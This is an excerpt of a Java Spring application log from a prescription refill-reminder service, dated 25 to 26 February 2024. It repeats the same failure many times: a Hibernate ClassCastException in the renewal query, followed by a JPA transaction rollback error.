23:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 